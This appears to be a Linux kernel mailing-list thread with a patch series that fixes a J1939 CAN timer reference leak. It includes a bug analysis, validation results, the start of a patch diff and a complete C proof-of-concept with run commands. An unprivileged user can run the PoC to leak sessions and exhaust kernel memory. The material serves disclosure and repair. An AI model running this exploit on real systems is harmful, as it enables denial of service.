* [PATCH net v8 0/2] can: j1939: fix TX timer reference leak
@ 2026-11-09 13:16 Zihan Xi
2026-11-09 13:16 ` [PATCH net v8 1/2] can: j1939: account for timer references across rearm Zihan Xi
2026-11-09 13:16 ` [PATCH net v8 2/2] can: j1939: serialize TX with session shutdown Zihan Xi
0 siblings, 2 replies; 7+ messages in thread
From: Zihan Xi @ 2026-11-09 13:16 UTC (permalink / raw)
To: linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, bst, lkp, maxime.jayat,
ecathinds, vega, zihanx
can: j1939: fix TX timer reference leak
Hi Linux kernel maintainers,
We found a J1939 session-reference leak in net/can/j1939/transport.c. An
unprivileged local user can exercise the receive path on systems that allow
unprivileged user namespaces, by creating user/network namespaces and a
vxcan pair. An attached CAN peer can trigger the same path by sending J1939
frames. Repeated ETP DAT processing can retain sessions without bound. In
the PoC, the 2 MiB ETP RTS size is passed to `alloc_skb(size, GFP_ATOMIC)`;
the resulting skb is queued on the session. The PoC sends only the first DPO
block, but a leaked session pins the full requested-size skb, as well as
priv/netdev references. Repeating sessions can cause unbounded memory growth
and block device unregistration.
Exact-v8 validation: the KASAN/lockdep and lower-load KCSAN/lockdep runs
completed without relevant reports. A higher-load KCSAN attempt produced an
unarchived printk warning, so it is not a clean pass. Details and limits
are recorded below.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11143 (11143)
Bug details:
For an RX ETP session, pkt.last remains zero: RTS/DPO reception does not
set it, so pkt.rx >= pkt.last is true from the first accepted DAT.
j1939_xtp_rx_dat_one() therefore schedules the TX timer through do_cts_eoma
for accepted DATs, and repeated DATs can schedule it again without
advancing pkt.rx. The reproducer sends duplicate DAT 255 at a non-final
DPO block boundary as one concrete repeated-DAT case; earlier DATs may also
schedule the timer. If multiple starts occur before HRTIMER_SOFTIRQ runs,
each hrtimer_start() updates the same timer, while the old code acquired a
new session reference for every restart and the timer released only one.
The leaked references keep completed sessions alive, along with their skb
queues, j1939_priv references, and net_device tracker references. New RTS
sessions can be created after deactivation, so a peer can repeat the leak,
causing unbounded memory growth and potentially preventing device
unregistration. The fix tracks one reference across each queued/running
timer lifetime and reuses it when rearming.
Baseline trace excerpt: the second start updated an already armed timer
(`was_armed=1`):
poc-389 [001] d.s2. 200.601390: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464843123 softexpires=200464843123 mode=REL|SOFT was_armed=0
poc-390 [000] d.s2. 200.601400: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464853253 softexpires=200464853253 mode=REL|SOFT was_armed=1
Changes in v8:
- Keep Patch 1's commit message focused on timer-reference behavior; describe
the detailed remote trigger and impact in this cover letter.
- Rename the locked helper to describe publication of session shutdown
intent; do not add lock operations or change behavior.
- Rebase on net/main 30c71476d842.
- Use the legacy-compatible CAN frame length field in the reproducer so it
builds with older distribution UAPI headers.
- Explain that the PoC's RTS size allocates a full-size receive skb even
though the PoC sends only the first DPO block.
Link: https://lore.kernel.org/all/cover.1793946215.git.zihanx@nebusec.ai/
Reproducer:
The reproducer uses raw CAN frames over namespace-local vxcan peers. It
advertises a 2 MiB ETP transfer. The RX RTS path passes that requested size
to `j1939_session_fresh_new()`, which allocates an skb with
`alloc_skb(size, GFP_ATOMIC)` and queues it on the session. The PoC sends DPO
for the first 255-packet block and DAT packets 1 through 254, then
concurrently sends duplicate DAT packet 255 at this non-final block boundary.
Thus only the first block is sent, but the leaked session pins the entire
requested-size skb. In the selected baseline RX
ETP path, pkt.last remains zero, so earlier accepted DATs may also schedule
the timer; the duplicate burst is one repeated-DAT case, not the sole possible
scheduling point. The baseline trace shows the same timer being restarted
while already armed (`was_armed=1`), but does not identify which incoming DAT
caused each start. Thus the trace confirms timer rearming, not
packet-level causality.
The supplied original PoC materials from Linux 6.12.95 also contain a
separate OOM-conversion run. After accumulating leaked sessions, a root-run
Python memory hog forced OOM with `vm.panic_on_oom=2`; the resulting OOM
panic is not a memory-safety crash. The timer-restart run itself did not
crash. The patched v8 PoC runs below did not crash either.
Packetdrill was not used: this test injects CAN_RAW over vxcan to exercise
CAN/J1939 link-layer handling. Upstream packetdrill tests TCP/UDP/IP stacks
over TUN or physical-network packet paths; it does not directly express
CAN/J1939 ETP on vxcan. The custom C sender constructs the frames and
coordinates concurrent duplicate DATs.
Compile the reproducer with:
gcc -O2 -Wall -Wextra -Werror -pthread -static -o poc poc.c
Run it as an unprivileged account with user/network namespace support:
unshare -Urn sh -c 'ip link add vxcan0 type vxcan peer name vxcan1 && ip link set vxcan0 up && ip link set vxcan1 up && ./poc vxcan0 vxcan1 2097152 4 32 4096 1'
The exact v8 source is based on net/main 30c71476d842. It was built with
KASAN, KCSAN, lockdep and timer debug objects enabled; builds used -j1.
Exact-v8 runtime validation in a 2 vCPU, 2 GB x86 QEMU guest, using an
unprivileged user in user/network namespaces and local vxcan peers:
- KASAN + lockdep: 4 ETP sessions, 8 workers, 256 duplicate DAT frames per
worker; all completed (exit 0), taint 0, no KASAN/refcount/timer-debug/
lockdep warning in dmesg.
- KCSAN + lockdep: 1 ETP session, 4 workers, 64 duplicate DAT frames per
worker; completed (exit 0), taint 0, no KCSAN/lockdep warning in dmesg.
- One higher-load KCSAN attempt was observed in live QEMU output to report
a generic printk ring-buffer race (`prb_first_seq` / `prb_reserve`) during
heavy netdev logging. The stack pointed to printk/console and `netdev_info`,
not J1939 timer fields. The raw report was not preserved, so the
classification cannot be independently verified; this is not a clean pass.
The patched PoC runs exercised the traffic path but did not crash. The
original OOM-conversion panic log is included here to distinguish it from a
memory-corruption crash; direct timer-path evidence is the `was_armed=1`
trace.
----BEGIN crash log----
[ 2096.279891][T11966] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
-----END crash log-----
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/can.h>
#include <linux/can/j1939.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef SYS_sendmmsg
#define SYS_sendmmsg 307
#endif
#define LOCAL_SA 0x80
#define REMOTE_SA_BASE 0x81
#define APP_PGN_BASE 0x01f100
#define J1939_ETP_PGN_CTL 0x00c800
#define J1939_ETP_PGN_DAT 0x00c700
#define J1939_ETP_CMD_ABORT 0xff
#define J1939_ETP_CMD_CTS 0x15
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_RTS 0x14
#define DEFAULT_SIZE (1024U * 1024U)
#define DEFAULT_DUPLICATES 256U
#define DEFAULT_SESSIONS 4096U
#define DEFAULT_THREADS 8U
#define FIRST_BLOCK_PKTS 255U
struct params {
const char *tx_ifname;
const char *rx_ifname;
uint32_t session_size;
uint32_t sessions;
uint32_t threads;
uint32_t duplicates;
bool verbose;
};
struct can_burst {
struct can_frame *frames;
struct mmsghdr *msgs;
struct iovec *iovecs;
unsigned int nframes;
};
struct worker_ctx {
int fd;
int cpu;
struct can_burst burst;
};
static pthread_barrier_t start_barrier;
static pthread_barrier_t done_barrier;
static volatile sig_atomic_t stop_workers;
static void die(const char *what);
static int sendmmsg_compat(int fd, struct mmsghdr *msgvec, unsigned int vlen,
unsigned int flags)
{
return syscall(SYS_sendmmsg, fd, msgvec, vlen, flags);
}
static unsigned int sendmmsg_all(int fd, struct mmsghdr *msgvec,
unsigned int vlen, const char *what)
{
unsigned int sent = 0;
while (sent < vlen) {
int ret = sendmmsg_compat(fd, &msgvec[sent], vlen - sent, 0);
if (ret < 0)
die(what);
if (!ret) {
errno = EIO;
die(what);
}
sent += ret;
}
return sent;
}
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static void barrier_wait_or_die(pthread_barrier_t *barrier, const char *what)
{
int ret = pthread_barrier_wait(barrier);
if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
errno = ret;
die(what);
}
}
static unsigned int parse_u32(const char *arg, const char *what)
{
char *endp;
unsigned long value;
errno = 0;
value = strtoul(arg, &endp, 0);
if (errno || *endp || value > UINT32_MAX) {
fprintf(stderr, "invalid %s: %s\n", what, arg);
exit(EXIT_FAILURE);
}
return (unsigned int)value;
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set))
perror("pthread_setaffinity_np");
}
static canid_t make_can_id(uint8_t prio, uint32_t pgn, uint8_t sa, uint8_t da)
{
canid_t can_id;
can_id = CAN_EFF_FLAG | ((canid_t)prio << 26) | ((canid_t)pgn << 8) | sa;
if (((pgn >> 8) & 0xff) < 240)
can_id |= (canid_t)da << 8;
return can_id;
}
static int ifindex_by_name(const char *ifname)
{
unsigned int ifindex = if_nametoindex(ifname);
if (!ifindex) {
errno = ENODEV;
die("if_nametoindex");
}
return (int)ifindex;
}
static int make_raw_socket(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
};
int fd;
int one = 1;
fd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
if (fd < 0)
die("socket(CAN_RAW)");
if (setsockopt(fd, SOL_CAN_RAW, CAN_RAW_RECV_OWN_MSGS, &one,
sizeof(one)) < 0)
die("setsockopt(CAN_RAW_RECV_OWN_MSGS)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_RAW)");
return fd;
}
static int make_j1939_listener(int ifindex)
{
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = ifindex,
.can_addr.j1939 = {
.name = 0,
.pgn = J1939_NO_PGN,
.addr = LOCAL_SA,
},
};
int fd;
fd = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (fd < 0)
die("socket(CAN_J1939)");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("bind(CAN_J1939)");
return fd;
}
static void send_frame(int fd, const struct can_frame *frame)
{
ssize_t written = write(fd, frame, sizeof(*frame));
if (written != (ssize_t)sizeof(*frame))
die("write(can_frame)");
}
static void build_etp_rts(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t size, uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->can_dlc = 8;
frame->data[0] = J1939_ETP_CMD_RTS;
frame->data[1] = (size >> 0) & 0xff;
frame->data[2] = (size >> 8) & 0xff;
frame->data[3] = (size >> 16) & 0xff;
frame->data[4] = (size >> 24) & 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_dpo(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->can_dlc = 8;
frame->data[0] = J1939_ETP_CMD_DPO;
frame->data[1] = FIRST_BLOCK_PKTS;
frame->data[2] = 0;
frame->data[3] = 0;
frame->data[4] = 0;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_abort(struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t app_pgn)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
frame->can_dlc = 8;
frame->data[0] = J1939_ETP_CMD_ABORT;
frame->data[1] = 1;
frame->data[2] = 0xff;
frame->data[3] = 0xff;
frame->data[4] = 0xff;
frame->data[5] = (app_pgn >> 0) & 0xff;
frame->data[6] = (app_pgn >> 8) & 0xff;
frame->data[7] = (app_pgn >> 16) & 0xff;
}
static void build_etp_terminal_data(struct can_frame *frame, uint8_t remote_sa)
{
memset(frame, 0, sizeof(*frame));
frame->can_id = make_can_id(6, J1939_ETP_PGN_DAT, remote_sa, LOCAL_SA);
frame->can_dlc = 8;
frame->data[0] = FIRST_BLOCK_PKTS;
memset(&frame->data[1], 'Z', 7);
}
static void free_burst(struct can_burst *burst)
{
free(burst->iovecs);
free(burst->msgs);
free(burst->frames);
memset(burst, 0, sizeof(*burst));
}
static void drain_raw_rx(int fd)
{
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
for (;;) {
struct can_frame frame;
int ret = poll(&pfd, 1, 0);
if (ret <= 0)
return;
if (read(fd, &frame, sizeof(frame)) < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
return;
die("read(raw drain)");
}
}
}
static bool match_ctl_cmd(const struct can_frame *frame, uint8_t sa, uint8_t da,
uint32_t pgn, uint8_t cmd)
{
uint32_t frame_pgn;
uint8_t frame_sa;
uint8_t frame_da = J1939_NO_ADDR;
if (!(frame->can_id & CAN_EFF_FLAG))
return false;
frame_sa = frame->can_id & 0xff;
frame_pgn = (frame->can_id >> 8) & J1939_PGN_MAX;
if (((frame_pgn >> 8) & 0xff) < 240) {
frame_da = frame_pgn & 0xff;
frame_pgn &= J1939_PGN_PDU1_MAX;
}
return frame_sa == sa && frame_da == da &&
frame_pgn == pgn && frame->can_dlc >= 1 &&
frame->data[0] == cmd;
}
static bool wait_for_cts(int raw_fd, uint8_t remote_sa, uint32_t app_pgn,
bool verbose)
{
struct pollfd pfd = {
.fd = raw_fd,
.events = POLLIN,
};
struct timespec start;
if (clock_gettime(CLOCK_MONOTONIC, &start) < 0)
die("clock_gettime");
for (;;) {
struct can_frame frame;
struct timespec now;
int elapsed_ms;
int timeout_ms;
int ret;
if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
die("clock_gettime");
elapsed_ms = (int)((now.tv_sec - start.tv_sec) * 1000 +
(now.tv_nsec - start.tv_nsec) / 1000000);
timeout_ms = 1000 - elapsed_ms;
if (timeout_ms <= 0)
return false;
ret = poll(&pfd, 1, timeout_ms);
if (ret < 0)
die("poll(raw)");
if (ret == 0)
return false;
if (!(pfd.revents & POLLIN))
continue;
if (read(raw_fd, &frame, sizeof(frame)) < 0)
die("read(raw)");
if (match_ctl_cmd(&frame, LOCAL_SA, remote_sa, J1939_ETP_PGN_CTL,
J1939_ETP_CMD_CTS)) {
if (verbose) {
printf("saw initial CTS for pgn=0x%05x remote_sa=0x%02x\n",
app_pgn, remote_sa);
fflush(stdout);
}
return true;
}
}
}
static void init_burst(struct can_burst *burst, unsigned int nframes)
{
memset(burst, 0, sizeof(*burst));
burst->nframes = nframes;
burst->frames = calloc(nframes, sizeof(*burst->frames));
burst->msgs = calloc(nframes, sizeof(*burst->msgs));
burst->iovecs = calloc(nframes, sizeof(*burst->iovecs));
if (!burst->frames || !burst->msgs || !burst->iovecs)
die("calloc(burst)");
}
static void finalize_burst(struct can_burst *burst)
{
unsigned int i;
for (i = 0; i < burst->nframes; i++) {
burst->iovecs[i].iov_base = &burst->frames[i];
burst->iovecs[i].iov_len = sizeof(burst->frames[i]);
burst->msgs[i].msg_hdr.msg_iov = &burst->iovecs[i];
burst->msgs[i].msg_hdr.msg_iovlen = 1;
}
}
static void build_prefix_burst(struct can_burst *burst, uint8_t remote_sa,
uint32_t app_pgn)
{
unsigned int i;
init_burst(burst, FIRST_BLOCK_PKTS);
build_etp_dpo(&burst->frames[0], remote_sa, LOCAL_SA, app_pgn);
for (i = 1; i < FIRST_BLOCK_PKTS; i++) {
memset(&burst->frames[i], 0, sizeof(burst->frames[i]));
burst->frames[i].can_id = make_can_id(6, J1939_ETP_PGN_DAT,
remote_sa, LOCAL_SA);
burst->frames[i].can_dlc = 8;
burst->frames[i].data[0] = i;
memset(&burst->frames[i].data[1], 'A' + (i % 26), 7);
}
finalize_burst(burst);
}
static void build_terminal_burst(struct can_burst *burst, uint8_t remote_sa,
unsigned int duplicates)
{
unsigned int i;
free_burst(burst);
init_burst(burst, duplicates);
for (i = 0; i < duplicates; i++)
build_etp_terminal_data(&burst->frames[i], remote_sa);
finalize_burst(burst);
}
static void *worker_main(void *arg)
{
struct worker_ctx *ctx = arg;
pin_to_cpu(ctx->cpu);
for (;;) {
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start)");
if (stop_workers)
break;
sendmmsg_all(ctx->fd, ctx->burst.msgs, ctx->burst.nframes,
"sendmmsg(worker)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done)");
}
return NULL;
}
static void init_workers(struct worker_ctx *workers, pthread_t *tids,
int ifindex, unsigned int threads, int ncpus)
{
unsigned int i;
if (pthread_barrier_init(&start_barrier, NULL, threads + 1))
die("pthread_barrier_init(start)");
if (pthread_barrier_init(&done_barrier, NULL, threads + 1))
die("pthread_barrier_init(done)");
for (i = 0; i < threads; i++) {
workers[i].fd = make_raw_socket(ifindex);
workers[i].cpu = i % ncpus;
if (pthread_create(&tids[i], NULL, worker_main, &workers[i]))
die("pthread_create");
}
}
static void join_workers(struct worker_ctx *workers, pthread_t *tids,
unsigned int threads)
{
unsigned int i;
stop_workers = 1;
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(stop)");
for (i = 0; i < threads; i++) {
if (pthread_join(tids[i], NULL))
die("pthread_join");
free_burst(&workers[i].burst);
close(workers[i].fd);
}
pthread_barrier_destroy(&start_barrier);
pthread_barrier_destroy(&done_barrier);
}
static void run_session(int raw_fd, struct worker_ctx *workers,
uint32_t size, uint32_t threads, uint32_t duplicates,
uint32_t session_idx, bool verbose)
{
struct can_frame rts;
struct can_frame abort;
struct can_burst prefix = { 0 };
uint8_t remote_sa;
uint32_t app_pgn;
unsigned int i;
unsigned int sa_span = J1939_MAX_UNICAST_ADDR - REMOTE_SA_BASE + 1;
remote_sa = REMOTE_SA_BASE + (session_idx % sa_span);
app_pgn = APP_PGN_BASE + (session_idx % 0x100);
build_etp_rts(&rts, remote_sa, LOCAL_SA, size, app_pgn);
send_frame(raw_fd, &rts);
if (!wait_for_cts(raw_fd, remote_sa, app_pgn, verbose)) {
fprintf(stderr,
"timed out waiting for initial CTS: session=%u remote_sa=0x%02x pgn=0x%05x size=%u\n",
session_idx, remote_sa, app_pgn, size);
exit(EXIT_FAILURE);
}
build_prefix_burst(&prefix, remote_sa, app_pgn);
/* Ensure the receiver processes DPO before the data packet burst. */
send_frame(raw_fd, &prefix.frames[0]);
usleep(1000);
sendmmsg_all(raw_fd, &prefix.msgs[1], prefix.nframes - 1,
"sendmmsg(prefix)");
free_burst(&prefix);
for (i = 0; i < threads; i++)
build_terminal_burst(&workers[i].burst, remote_sa, duplicates);
barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start-main)");
barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done-main)");
build_etp_abort(&abort, remote_sa, LOCAL_SA, app_pgn);
send_frame(raw_fd, &abort);
}
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s [tx_ifname] [rx_ifname] [size] [sessions] [threads] [duplicates_per_thread] [verbose]\n",
prog);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
struct params params = {
.tx_ifname = "vcan0",
.rx_ifname = "vcan0",
.session_size = DEFAULT_SIZE,
.sessions = DEFAULT_SESSIONS,
.threads = DEFAULT_THREADS,
.duplicates = DEFAULT_DUPLICATES,
.verbose = false,
};
struct worker_ctx *workers;
pthread_t *tids;
int ifindex;
int rx_ifindex;
int raw_fd;
int j1939_fd;
int ncpus;
unsigned int i;
if (argc > 8)
usage(argv[0]);
if (argc >= 2)
params.tx_ifname = argv[1];
if (argc >= 3)
params.rx_ifname = argv[2];
if (argc >= 4)
params.session_size = parse_u32(argv[3], "size");
if (argc >= 5)
params.sessions = parse_u32(argv[4], "sessions");
if (argc >= 6)
params.threads = parse_u32(argv[5], "threads");
if (argc >= 7)
params.duplicates = parse_u32(argv[6], "duplicates");
if (argc >= 8)
params.verbose = parse_u32(argv[7], "verbose") != 0;
if (params.session_size <= 1785) {
fprintf(stderr, "size must be > 1785 to force ETP\n");
return EXIT_FAILURE;
}
if (!params.sessions || !params.threads || !params.duplicates)
usage(argv[0]);
ncpus = sysconf(_SC_NPROCESSORS_ONLN);
if (ncpus < 1)
die("sysconf(_SC_NPROCESSORS_ONLN)");
workers = calloc(params.threads, sizeof(*workers));
tids = calloc(params.threads, sizeof(*tids));
if (!workers || !tids)
die("calloc(workers)");
ifindex = ifindex_by_name(params.tx_ifname);
rx_ifindex = ifindex_by_name(params.rx_ifname);
j1939_fd = make_j1939_listener(rx_ifindex);
raw_fd = make_raw_socket(ifindex);
init_workers(workers, tids, ifindex, params.threads, ncpus);
printf("tx_if=%s(%d) rx_if=%s(%d) size=%u sessions=%u threads=%u duplicates_per_thread=%u\n",
params.tx_ifname, ifindex, params.rx_ifname, rx_ifindex,
params.session_size, params.sessions, params.threads,
params.duplicates);
fflush(stdout);
for (i = 0; i < params.sessions; i++) {
drain_raw_rx(raw_fd);
run_session(raw_fd, workers, params.session_size, params.threads,
params.duplicates, i, params.verbose);
if ((i + 1) % 16 == 0 || params.verbose) {
printf("completed %u sessions\n", i + 1);
fflush(stdout);
}
}
join_workers(workers, tids, params.threads);
close(raw_fd);
close(j1939_fd);
free(tids);
free(workers);
return 0;
}
------END PoC--------
Best regards,
Zihan Xi
Zihan Xi (2):
can: j1939: account for timer references across rearm
can: j1939: serialize TX with session shutdown
net/can/j1939/j1939-priv.h | 14 +
net/can/j1939/transport.c | 575 +++++++++++++++++++++++++++++++------
2 files changed, 499 insertions(+), 90 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 7+ messages in thread* [PATCH net v8 1/2] can: j1939: account for timer references across rearm
2026-11-09 13:16 [PATCH net v8 0/2] can: j1939: fix TX timer reference leak Zihan Xi
@ 2026-11-09 13:16 ` Zihan Xi
2026-11-11 3:48 ` netdev-bot+sashiko
2026-11-11 5:53 ` Oleksij Rempel
2026-11-09 13:16 ` [PATCH net v8 2/2] can: j1939: serialize TX with session shutdown Zihan Xi
1 sibling, 2 replies; 7+ messages in thread
From: Zihan Xi @ 2026-11-09 13:16 UTC (permalink / raw)
To: linux-can
Cc: robin, o.rempel, kernel, socketcan, mkl, bst, lkp, maxime.jayat,
ecathinds, vega, zihanx
Rearming a session timer updates the existing hrtimer rather than
creating another callback. Taking a session reference for every start
can therefore leave references behind when the timer is rearmed.
Track one session reference across each timer's queued and running
lifetime. Apply the same accounting to the RX timer and synchronize
rearming and cancellation with terminal state changes. Arm the simple-TX
echo timeout only after a successful send, and keep terminal session
transitions from leaving stale timer references or changing the result.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
net/can/j1939/j1939-priv.h | 11 +
net/can/j1939/transport.c | 510 +++++++++++++++++++++++++++++++------
2 files changed, 438 insertions(+), 83 deletions(-)
diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index cf26352d1d8c..123622c82a98 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -10,6 +10,7 @@
#define _J1939_PRIV_H_
#include <linux/can/j1939.h>
+#include <linux/spinlock.h>
#include <net/sock.h>
/* Timeout to receive the abort signal over loop back. In case CAN
@@ -290,6 +291,16 @@ struct j1939_session {
unsigned int dpo;
} pkt;
struct hrtimer txtimer, rxtimer;
+ unsigned int txtimer_cancelers; /* block starts while a cancel waits */
+ spinlock_t txtimer_lock; /* Protects TX timer lifetime state. */
+ /* One reference pins the complete queued/running timer lifetime. */
+ bool txtimer_shutdown;
+ bool txtimer_ref;
+ spinlock_t rxtimer_lock; /* Protects RX timer lifetime state. */
+ unsigned int rxtimer_cancelers;
+ /* One reference pins the complete queued/running timer lifetime. */
+ bool rxtimer_shutdown;
+ bool rxtimer_ref;
};
struct j1939_sock {
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5e6f..c327fd9618a0 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -301,24 +301,176 @@ void j1939_session_put(struct j1939_session *session)
kref_put(&session->kref, __j1939_session_release);
}
-static void j1939_session_txtimer_cancel(struct j1939_session *session)
+static void j1939_session_txtimer_cancel(struct j1939_session *session,
+ bool shutdown)
{
- if (hrtimer_cancel(&session->txtimer))
+ bool put_ref = false;
+ int ret;
+
+ spin_lock_bh(&session->txtimer_lock);
+ session->txtimer_cancelers++;
+ if (shutdown)
+ session->txtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ if (ret == 1) {
+ if (!WARN_ON_ONCE(!session->txtimer_ref)) {
+ session->txtimer_ref = false;
+ put_ref = true;
+ }
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+
+ /* Never wait for a softirq callback while holding txtimer_lock. */
+ if (ret < 0) {
+ ret = hrtimer_cancel(&session->txtimer);
+ if (ret == 1) {
+ spin_lock_bh(&session->txtimer_lock);
+ if (!WARN_ON_ONCE(!session->txtimer_ref)) {
+ session->txtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->txtimer_lock);
+ }
+ }
+ spin_lock_bh(&session->txtimer_lock);
+ if (WARN_ON_ONCE(!session->txtimer_cancelers))
+ session->txtimer_cancelers = 0;
+ else
+ session->txtimer_cancelers--;
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_ref)
+ j1939_session_put(session);
+}
+
+static bool
+j1939_session_txtimer_cancel_async_locked(struct j1939_session *session)
+{
+ int ret;
+
+ lockdep_assert_held(&session->txtimer_lock);
+ session->txtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->txtimer);
+ /* Let a queued successor finish promptly after callback exit. */
+ if (ret < 0 && !session->txtimer_cancelers && session->txtimer_ref &&
+ hrtimer_is_queued(&session->txtimer))
+ hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (ret != 1)
+ return false;
+
+ if (WARN_ON_ONCE(!session->txtimer_ref))
+ return false;
+ session->txtimer_ref = false;
+ return true;
+}
+
+static void j1939_session_txtimer_cancel_async(struct j1939_session *session)
+{
+ bool put_ref;
+
+ spin_lock_bh(&session->txtimer_lock);
+ put_ref = j1939_session_txtimer_cancel_async_locked(session);
+ spin_unlock_bh(&session->txtimer_lock);
+
+ if (put_ref)
j1939_session_put(session);
}
static void j1939_session_rxtimer_cancel(struct j1939_session *session)
{
- if (hrtimer_cancel(&session->rxtimer))
+ bool put_ref = false;
+ int ret;
+
+ spin_lock_bh(&session->rxtimer_lock);
+ session->rxtimer_cancelers++;
+ session->rxtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->rxtimer);
+ if (ret == 1 && !WARN_ON_ONCE(!session->rxtimer_ref)) {
+ session->rxtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->rxtimer_lock);
+
+ /* Do not wait for the callback while holding rxtimer_lock. */
+ if (ret < 0) {
+ ret = hrtimer_cancel(&session->rxtimer);
+ if (ret == 1) {
+ spin_lock_bh(&session->rxtimer_lock);
+ if (!WARN_ON_ONCE(!session->rxtimer_ref)) {
+ session->rxtimer_ref = false;
+ put_ref = true;
+ }
+ spin_unlock_bh(&session->rxtimer_lock);
+ }
+ }
+
+ spin_lock_bh(&session->rxtimer_lock);
+ if (WARN_ON_ONCE(!session->rxtimer_cancelers))
+ session->rxtimer_cancelers = 0;
+ else
+ session->rxtimer_cancelers--;
+ spin_unlock_bh(&session->rxtimer_lock);
+
+ if (put_ref)
j1939_session_put(session);
}
-void j1939_session_timers_cancel(struct j1939_session *session)
+static bool
+j1939_session_rxtimer_cancel_async_locked(struct j1939_session *session)
{
- j1939_session_txtimer_cancel(session);
+ int ret;
+
+ lockdep_assert_held(&session->rxtimer_lock);
+ session->rxtimer_shutdown = true;
+ ret = hrtimer_try_to_cancel(&session->rxtimer);
+ if (ret < 0 && !session->rxtimer_cancelers &&
+ session->rxtimer_ref && hrtimer_is_queued(&session->rxtimer))
+ hrtimer_start(&session->rxtimer, 0, HRTIMER_MODE_REL_SOFT);
+ if (ret != 1)
+ return false;
+ if (WARN_ON_ONCE(!session->rxtimer_ref))
+ return false;
+ session->rxtimer_ref = false;
+ return true;
+}
+
+static void j1939_session_rxtimer_cancel_async(struct j1939_session *session)
+{
+ bool put_ref;
+
+ spin_lock_bh(&session->rxtimer_lock);
+ put_ref = j1939_session_rxtimer_cancel_async_locked(session);
+ spin_unlock_bh(&session->rxtimer_lock);
+
+ if (put_ref)
+ j1939_session_put(session);
+}
+
+static void
+j1939_session_shutdown_intent_locked(struct j1939_session *session)
+{
+ lockdep_assert_held(&session->priv->active_session_list_lock);
+ spin_lock(&session->rxtimer_lock);
+ session->rxtimer_shutdown = true;
+ spin_unlock(&session->rxtimer_lock);
+}
+
+static void j1939_session_timers_drain(struct j1939_session *session)
+{
+ j1939_session_txtimer_cancel(session, true);
j1939_session_rxtimer_cancel(session);
}
+void j1939_session_timers_cancel(struct j1939_session *session)
+{
+ /* Publish terminal intent before any callback can claim a timeout. */
+ j1939_session_list_lock(session->priv);
+ j1939_session_shutdown_intent_locked(session);
+ j1939_session_list_unlock(session->priv);
+
+ j1939_session_timers_drain(session);
+}
+
static inline bool j1939_cb_is_broadcast(const struct j1939_sk_buff_cb *skcb)
{
return (!skcb->addr.dst_name && (skcb->addr.da == 0xff));
